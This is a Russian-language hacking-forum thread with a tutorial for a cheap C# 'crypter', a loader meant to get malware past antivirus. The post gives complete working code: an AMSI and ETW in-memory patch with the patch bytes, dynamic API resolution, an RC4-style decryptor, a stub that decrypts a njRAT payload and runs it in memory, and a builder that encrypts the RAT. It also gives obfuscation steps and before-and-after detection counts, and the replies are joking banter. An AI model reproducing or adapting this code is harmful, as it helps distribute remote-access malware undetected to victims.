Загрузка...

Крипт за 5 рублей на коленке

Тема в разделе C# создана пользователем Dead__Artis 15 апр 2024. (поднята 8 июн 2024) 942 просмотра

Загрузка...
Сортировать
  1. Dead__Artis
    Кому понравилось (5) Скопировать BBCode
    Dead__Artis Автор темы 15 апр 2024 921 30 май 2020
    Фри крипт: https://lolz.live/threads/7133100/

    Всем кодерам и не кодерам вообщем привет всем форумчанам
    сегодня я вам покажу простенький крипт на C# для ознакомления с криптом, на практике данный крипт убьет лишь детекты на скантайме и обойдет Windows Defender 10

    и так для начала разберем крипторы на .Net и как они работают
    я считаю что есть крипторы нескольких типов: дерьмо и не дерьмо
    разберем крипторы дерьма которые я вам покажу и часто их используют на Github и школьники с их njrat и прочем
    как же они работают ?


    да все очень просто мы берем наш грязный файл и пихаем его в ресурсы/массив/string да во все что угодно где будут они храниться в зашифрованом виде дабы антивирусы не ругались на грязь которая до этого там была

    после чего мы данные байты расшифровываем и пихаем в память любым способом: рефлексия/runpe/loadpe
    но не в коем случае не записываем его на диск или в папку темп ибо это уже будет не крипт, а ****пер

    теперь рассмотрим крипторы не дерьма
    данные крипторы пишуться вручную либо с исходников и они не как не шифруют наш файлик и так далие, а напрямую лезут в функции внутри кода и переделывают их и зашифровывают в память (прошу заметить еще раз что не файлик, а функции !)
    и для этого нам нужена своя виртуальная машина и обфускатор с мутациями и дефолтной обфой

    как же оно работает
    есть функция в крипторе такая как мутация
    допустим у нас есть некий код который допустим вызывает Random.Next
    мутация же заменяет данный вызов функций на точно такую же но написанную вручную или же может заменять некоторые op'коды на такие же которые выполняют одну и ту же функцию
    тем самым код уже другой но функционал тот же

    теперь разберем виртуальную машину и что это
    виртуальная машина это наша велосипед который вручную выполняет все действия опкодов которые мы записали в нашу виртуальную машину
    виртуальная машина состоит из двух элементов это Runtime и тот файлик который разбирает функции и шифрует опкоды и их значение в байты

    в рантайме происходит вся магия, допустим у нас в методе есть оп код: Call Method1()
    после чего мы зашифровали его в массив и заменили код функций на вызов точки входа в нашу функцию расшифровки и запуска рантайма

    наша машина после дешифровки проходиться по байтам и по заданным инструкциям выполняет код
    и так вот когда наше чтение функций доходит до нашего Call Method1() она вызывает вручную тот самый метод
    тем самым по факту у нас все функции зашифрованы и если чекнуть через dnspy мы можем увидеть только то что наш метод вызывает другой метод который уже и запускает рантайм с нашим велосипедом который дешифрует метод и выполняет его опкоды


    ну теперь мы выяснили чем отличается говно от не говна
    ну и так как на то чтобы написать нормальный крипт уйдет уйму времени по этому я напишу тот самый говно крипт который спасет только от скантайма и рантайма дефендера при хорошей обфе без детекта на дефендере в виде Вакатака и прочей херни

    и так поехали
    для начало напишем так называемый Stub (шаблон)

    CSHARP
    using System;
    
using System.Diagnostics;
    
using System.IO;
    
using System.Linq;
    
using System.Reflection;
    
using System.Runtime.InteropServices;
    

    
namespace XyetaCrypt
    
{
    
    internal class AsmiAndETW
    
    {
    
        private static void PatchAmsi(byte[] patch)
    
        {
    
            string dll = Methods.Base64("Y-W-1za-S5k-bG-w=".Replace("-", ""));
    
            bool asmiinit = false;
    
            foreach (ProcessModule CurrentModule in (Process.GetCurrentProcess().Modules))
    
            {
    
                if (CurrentModule.ModuleName == dll)
    
                {
    
                    PatchMem(patch, dll, Methods.Base64("Q-W-1za-VN-jYW-5Cd-WZ-mZX-I=".Replace("-", "")));
    
                    asmiinit = true;
    
                }
    
            }
    
            if (!asmiinit) //pidoras init only Invoke next init asmi.dll if not search module
    
            {
    
                try
    
                {
    
                    Assembly loader = Assembly.Load(new byte[] { 1, 2, 3 });
    
                    loader.EntryPoint.Invoke(null, null); //ليس لديك أي شيء لتفعله؟
    
                }
    
                catch { }
    
                foreach (ProcessModule CurrentModule in (Process.GetCurrentProcess().Modules))
    
                {
    
                    if (CurrentModule.ModuleName == dll)
    
                    {
    
                        PatchMem(patch, dll, Methods.Base64("Q-W1-zaV-Nj-YW-5Cd-WZ-mZ-XI-=".Replace("-", "")));
    
                        asmiinit = true;
    
                    }
    
                }
    
            }
    
        }
    
        private static void PatchETW(byte[] Patch)
    
        {
    
            PatchMem(Patch, Methods.Base64("bnRkbGwuZGxs".Replace("-", "")), Methods.Base64("R-XR-3RX-Z-lbnR-Xcm-l0ZQ==".Replace("-", "")));
    
        }
    
        private static void PatchMem(byte[] patch, string library, string function)
    
        {
    
            try
    
            {
    
                IntPtr CurrentProcessHandle = new IntPtr(-1); // pseudo-handle for current process handle
    
                IntPtr libPtr = (Process.GetCurrentProcess().Modules.Cast<ProcessModule>().Where(x => library.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress);
    
                IntPtr funcPtr = DInvokeCore.GetExportAddress(libPtr, function);
    
                IntPtr patchLength = new IntPtr(patch.Length);
    
                UInt32 oldProtect = 0;
    
                DllImport.NtProtectVirtualMemory(CurrentProcessHandle, ref funcPtr, ref patchLength, 0x40, ref oldProtect);
    
                Marshal.Copy(patch, 0, funcPtr, patch.Length);
    
            }
    
            catch
    
            {
    
            }
    
        }
    

    
        public static byte[] x64_etw_patch = new byte[] { 0x48, 0x33, 0xC0, 0xC3 };
    
        public static byte[] x86_etw_patch = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };
    
        public static byte[] x64_am_si_patch = new byte[] { 0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, 0xb8, 0x32, 0x00, 0xb0, 0x57, 0xc3 };
    
        public static byte[] x86_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
    

    
        public static void Bypass()
    
        {
    
            try
    
            {
    
                if (IntPtr.Size != 4)
    
                {
    
                    PatchAmsi(x64_am_si_patch);
    
                    PatchETW(x64_etw_patch);
    
                }
    
                else
    
                {
    
                    PatchAmsi(x86_am_si_patch);
    
                    PatchETW(x86_etw_patch);
    
                }
    
            }
    
            catch (Exception ex)
    
            {
    
                Console.WriteLine(ex.ToString());
    
            }
    
        }
    
    }
    
    public class Delegates
    
    {
    

    
        public delegate UInt32 gdfudsin8shd2(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect, ref UInt32 OldProtect); //NtProtectVirtualMemory
    
    }
    
    public static class DllImport
    
    {
    
        public enum EXECUTION_STATE : uint
    
        {
    
            ES_CONTINUOUS = 0x80000000,
    
            ES_DISPLAY_REQUIRED = 0x00000002,
    
            ES_SYSTEM_REQUIRED = 0x00000001
    
        }
    
        public static bool NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect, ref UInt32 OldProtect)
    
        {
    
            OldProtect = 0;
    
            object[] funcargs = { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect };
    

    
            uint retValue = (uint)DInvokeCore.DynamicAPIInvoke(Methods.Base64("b-nRk-bG-wuZ-Gxs".Replace("-", "")), Methods.Base64("TnRQc-m90Z-WN0V-mlydH-VhbE1l-bW9y-eQ=-=".Replace("-", "")), typeof(Delegates.gdfudsin8shd2), ref funcargs);
    
            if (retValue != 0x00000000)
    
            {
    
                return false;
    
            }
    

    
            OldProtect = (UInt32)funcargs[4];
    
            return true;
    
        }
    
    }
    
    public class DInvokeCore
    
    {
    
        #region Core
    
        public static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
    
        {
    
            IntPtr hModule = GetLoadedModuleAddress(DLLName);
    
            if (hModule == IntPtr.Zero)
    
            {
    
                throw new DllNotFoundException(DLLName);
    
            }
    
            IntPtr lastOutput = GetExportAddress(hModule, FunctionName);
    
            return lastOutput;
    
        }
    
        public static IntPtr GetLoadedModuleAddress(string DLLName)
    
        {
    
            Process CurrentProcess = Process.GetCurrentProcess();
    
            foreach (ProcessModule Module in CurrentProcess.Modules)
    
            {
    
                if (string.Compare(Module.ModuleName, DLLName, true) == 0)
    
                {
    
                    IntPtr ModuleBasePointer = Module.BaseAddress;
    
                    return ModuleBasePointer;
    
                }
    
            }
    
            return IntPtr.Zero;
    
        }
    
        public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
    
        {
    
            IntPtr FunctionPtr = IntPtr.Zero;
    
            try
    
            {
    
                // Traverse the PE header in memory
    
                Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
    
                Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
    
                Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
    
                Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
    
                Int64 pExport = 0;
    
                if (Magic == 0x010b)
    
                {
    
                    pExport = OptHeader + 0x60;
    
                }
    
                else
    
                {
    
                    pExport = OptHeader + 0x70;
    
                }
    

    
                // Read -> IMAGE_EXPORT_DIRECTORY
    
                Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
    
                Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
    
                Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
    
                Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
    
                Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
    
                Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
    
                Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
    

    
                // Loop the array of export name RVA's
    
                for (int i = 0; i < NumberOfNames; i++)
    
                {
    
                    string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
    
                    if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
    
                    {
    
                        Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
    
                        Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
    
                        FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
    
                        break;
    
                    }
    
                }
    
            }
    
            catch
    
            {
    
                throw new Exception();
    
            }
    

    
            if (FunctionPtr == IntPtr.Zero)
    
            {
    
                throw new Exception(ExportName);
    
            }
    
            return FunctionPtr;
    
        }
    
        public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
    
        {
    
            IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
    
            if (pFunction == IntPtr.Zero)
    
            {
    
                throw new Exception();
    
            }
    
            return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
    
        }
    
        public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
    
        {
    
            Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
    
            return funcDelegate.DynamicInvoke(Parameters);
    
        }
    
        #endregion
    
    }
    
}
    Данный код отвечает за хук функций в amsi.dll для обхода детекта в рантайме когда мы будем загружать наш файлик через рефлексию
    если этого не сделать то наш любый Windows Defender вытрахает файл при первом же запуске
    особо не будем вдаваться в подробности того как работает Amsi Bypass объясню поверхностно
    у нас есть некая dll которая инжектится в модули при запуске файла если включен defender
    и хукает все методы и видит каждое движение на коде что мы запускаем и так далее
    данный код заменяет байты функций которая отвечает за детект этой самой dll на предоставленные

    так же в коде есть DInvokeCore который сам подгружает методы из модулей дабы не использовать DLLIMPORT который может повесить нам детект
    CSHARP
     
    
        public static byte[] x64_etw_patch = new byte[] { 0x48, 0x33, 0xC0, 0xC3 };
    
        public static byte[] x86_etw_patch = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };
    
        public static byte[] x64_am_si_patch = new byte[] { 0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, 0xb8, 0x32, 0x00, 0xb0, 0x57, 0xc3 };
    
        public static byte[] x86_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    CSHARP
    internal class Methods
    
{
    
    public static string Base64(string input)
    
    {
    
        return Encoding.ASCII.GetString(Convert.FromBase64String(input));
    
    }
    
}
    думаю тут не надо вдаваться в подробности (и не надо мне писать что вот мол base64 дерьмо, я и так знаю)

    CSHARP
    internal class Xor
    
{
    
    public static byte[] DecodEncod(byte[] data, byte[] key)
    
    {
    
        int[] numArray1 = new int[256];
    
        for (int index = 0; index < 256; ++index)
    
            numArray1[index] = index;
    
        int[] dst = new int[256];
    
        if (key.Length == 256)
    
        {
    
            Buffer.BlockCopy((Array)key, 0, (Array)dst, 0, key.Length);
    
        }
    
        else
    
        {
    
            for (int index = 0; index < 256; ++index)
    
                dst[index] = (int)key[index % key.Length];
    
        }
    
        int index1 = 0;
    
        for (int index2 = 0; index2 < 256; ++index2)
    
        {
    
            index1 = (index1 + numArray1[index2] + dst[index2]) % 256;
    
            int num = numArray1[index2];
    
            numArray1[index2] = numArray1[index1];
    
            numArray1[index1] = num;
    
        }
    
        int index3;
    
        int index4 = index3 = 0;
    
        byte[] numArray2 = new byte[data.Length];
    
        for (int index5 = 0; index5 < data.Length; ++index5)
    
        {
    
            index4 = (index4 + 1) % 256;
    
            index3 = (index3 + numArray1[index4]) % 256;
    
            int num1 = numArray1[index4];
    
            numArray1[index4] = numArray1[index3];
    
            numArray1[index3] = num1;
    
            int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256];
    
            numArray2[index5] = Convert.ToByte((int)data[index5] ^ num2);
    
        }
    
        return numArray2;
    
    }
    
}
    Xor шифрование данное чудо и будет расшифровывать наше дерьмо

    CSHARP
    using System;
    
using System.Collections.Generic;
    
using System.Linq;
    
using System.Reflection;
    
using System.Text;
    

    
namespace XyetaCrypt
    
{
    
    internal class Program
    
    {
    
        static void Main(string[] args)
    
        {
    
            AsmiAndETW.Bypass();
    
            byte[] decrypt = Xor.DecodEncod(Properties.Resource1.pmtcdnq5, Convert.FromBase64String("B-Q-UG-B-gMD-Ig-=-=".Replace("-",""))); //key 5, 5, 6, 6, 3, 3, 34
    
            R(decrypt);
    
        }
    
        public static void R(byte[] bytes)
    
        {
    
            R1(bytes);
    
        }
    
        public static void R1(byte[] bytes)
    
        {
    
            R2(bytes);
    
        }
    
        public static void R2(byte[] bytes)
    
        {
    
            R3(bytes);
    
        }
    
        public static void R3(byte[] bytes)
    
        {
    
            Run(bytes);
    
        }
    
        public static void Run(byte[] bytes)
    
        {
    
            Assembly assembly = Assembly.Load(bytes);
    
            Run1(assembly);
    
        }
    
        public static void Run1(Assembly assembly)
    
        {
    
            assembly.EntryPoint.Invoke(null, null);
    
        }
    
    }
    
}
    а вот данный код и будет отвечать за подгрузку нашего файла из ресурсов, расшифровку и запуск
    я сделал несколько методов так называемых ******, под обфой поможет уменьшить детекты так как все это дерьмо прибраться в настоящие месиво из кода

    Properties.Resource1.pmtcdnq5 это наш зашифрованный файлик
    и чтоб нам его получить необходимо написать прогу которая какрас зашифрует файлик того же njrat который уже морально устарел
    её особо разбирать не буду так как тут и так интуитивно понятно будет

    CSHARP
    using System;
    
using System.IO;
    

    
namespace Crypt
    
{
    
    internal class Program
    
    {
    
        static void Main(string[] args)
    
        {
    
            File.WriteAllBytes(Path.GetRandomFileName(), Xor.DecodEncod(File.ReadAllBytes(args[0]), new byte[] { 5, 5, 6, 6, 3, 3, 34 }));
    
            Console.ReadKey();
    
        }
    
    }
    
    internal class Xor
    
    {
    
        public static byte[] DecodEncod(byte[] data, byte[] key)
    
        {
    
            int[] numArray1 = new int[256];
    
            for (int index = 0; index < 256; ++index)
    
                numArray1[index] = index;
    
            int[] dst = new int[256];
    
            if (key.Length == 256)
    
            {
    
                Buffer.BlockCopy((Array)key, 0, (Array)dst, 0, key.Length);
    
            }
    
            else
    
            {
    
                for (int index = 0; index < 256; ++index)
    
                    dst[index] = (int)key[index % key.Length];
    
            }
    
            int index1 = 0;
    
            for (int index2 = 0; index2 < 256; ++index2)
    
            {
    
                index1 = (index1 + numArray1[index2] + dst[index2]) % 256;
    
                int num = numArray1[index2];
    
                numArray1[index2] = numArray1[index1];
    
                numArray1[index1] = num;
    
            }
    
            int index3;
    
            int index4 = index3 = 0;
    
            byte[] numArray2 = new byte[data.Length];
    
            for (int index5 = 0; index5 < data.Length; ++index5)
    
            {
    
                index4 = (index4 + 1) % 256;
    
                index3 = (index3 + numArray1[index4]) % 256;
    
                int num1 = numArray1[index4];
    
                numArray1[index4] = numArray1[index3];
    
                numArray1[index3] = num1;
    
                int num2 = numArray1[(numArray1[index4] + numArray1[index3]) % 256];
    
                numArray2[index5] = Convert.ToByte((int)data[index5] ^ num2);
    
            }
    
            return numArray2;
    
        }
    
    }
    
}
    после компиляций перекидываем на скомпилированный файлик наш любимый njrat
    и он выдает нам файл с рандомным названием

    после чего мы идем в проект с нашим Стабом где в Properties создаем файл ресурсов Resource1
    затем открываем этот самый файл Resource1 и переносим наш файлик с рандомным названием (зашифрованый)
    после чего в Stub -> Program меняем в Properties.Resource1.pmtcdnq5 на Properties.Resource1.(название нашего файла без скобок)
    и компилируем, затем закидываем на любой бесплатный обфускатор .Net (пример https://appfuscator.com не реклама)
    после мы получаем уже криптованный и обфусцированный файл готовый к бою в майнкрафте с последующим переходом в дискорд на проверку

    вот и все подведем итоги, любой задрыпаный школьник может написать такой крипт и наебать вас на ваши 500рублей и 3 детекта которые через 2 дня станут в разы больше

    детекты до 7/26: http://avcheck.net/id/Mapd0pKsHm7k
    детекты после 3/26: http://avcheck.net/id/h2olezDa4uhH

    пример детектов был взят с моего ******а

    данный крипт хоть и можно юзать но в наших реалиях любой ав его выебит так что ребят не берите на вооружение в серьез
    #моястатья
     
    15 апр 2024 Изменено
  2. Cartier
    Кому понравилось (1) Скопировать BBCode
    Cartier 15 апр 2024 Лучший курс на TRX,Energy - https://lolz.live/threads/8610296/ 8753 1 сен 2020
    да просто букву в коде поменять нада и все епт уже криптованный будет отвечаю
     
    15 апр 2024 Изменено
    1. Посмотреть предыдущие комментарии (1)
    2. Cartier
      Dead__Artis, пароль на винрар просто 1487 поставить и все
      15 апр 2024 Изменено
    3. filosik
      Cartier, 1234,надо ставить а то никанон
      15 апр 2024 Изменено
    4. Cartier
      filosik, надо пароль на пароль на пароль поставить анрил угадать
      15 апр 2024
  3. ПожилаяШляпа
    Кому понравилось (1) Скопировать BBCode
    ПожилаяШляпа 15 апр 2024 купи https://lzt.market/user/403424/items 12 155 11 май 2018
    Надо шифровать стаб шифром цезаря, тода 100% фуд будет :BrainCosmic:
     
    15 апр 2024
    1. Dead__Artis Автор темы
      ПожилаяШляпа, кстати для string очень неплохой метод, до сих пор юзаю без рофлов
      15 апр 2024
Top